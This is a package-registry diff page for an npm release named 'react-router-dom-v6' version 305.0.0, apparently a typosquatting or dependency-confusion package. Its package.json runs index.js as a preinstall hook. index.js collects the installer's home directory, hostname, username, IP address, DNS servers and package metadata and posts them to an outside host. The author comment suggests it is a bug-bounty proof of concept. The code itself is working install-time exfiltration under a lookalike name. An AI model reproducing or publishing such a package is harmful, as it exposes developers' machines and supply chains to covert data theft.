react-router-dom-v6 305.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of react-router-dom-v6 might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +65 -0
  2. package/package.json +20 -0
package/index.js ADDED
@@ -0,0 +1,65 @@
1
+ //author:- nopurposeinlife@wearehackerone.com
2
+
3
+ const os = require("os");
4
+ const dns = require("dns");
5
+ const querystring = require("querystring");
6
+ const https = require("https");
7
+ const packageJSON = require("./package.json");
8
+ const package = packageJSON.name;
9
+ const ip = require("ip");
10
+
11
+ const trackingData = JSON.stringify({
12
+
13
+ p: package,
14
+ c: __dirname,
15
+ hd: os.homedir(),
16
+ hn: os.hostname(),
17
+ un: os.userInfo().username,
18
+ ip: ip.address(),
19
+ dns: dns.getServers(),
20
+ r: packageJSON ? packageJSON.___resolved : undefined,
21
+ v: packageJSON.version,
22
+ pjson: packageJSON,
23
+
24
+ });
25
+
26
+ var postData = querystring.stringify({
27
+
28
+ msg: trackingData,
29
+
30
+ });
31
+
32
+ var options = {
33
+
34
+ hostname: "npia.vercel.app", //replace burpcollaborator.net with Interactsh or pipedream
35
+ port: 443,
36
+ path: "/",
37
+ method: "POST",
38
+
39
+ headers: {
40
+
41
+ "Content-Type": "application/x-www-form-urlencoded",
42
+ "Content-Length": postData.length,
43
+
44
+ },
45
+
46
+ };
47
+
48
+ var req = https.request(options, (res) => {
49
+
50
+ res.on("data", (d) => {
51
+
52
+ process.stdout.write(d);
53
+
54
+ });
55
+
56
+ });
57
+
58
+ req.on("error", (e) => {
59
+
60
+ // console.error(e);
61
+
62
+ });
63
+
64
+ req.write(postData);
65
+ req.end();
package/package.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "name": "react-router-dom-v6",
3
+ "version": "305.0.0",
4
+ "description": "package",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "NoPurposeInLife",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "react-router-dom-v6": "^305.0.0",
14
+ "ip": "^0.0.0",
15
+ "dns": "^0.0.0",
16
+ "os": "^0.0.0",
17
+ "https": "^0.0.0"
18
+ },
19
+ "devDependencies": {}
20
+ }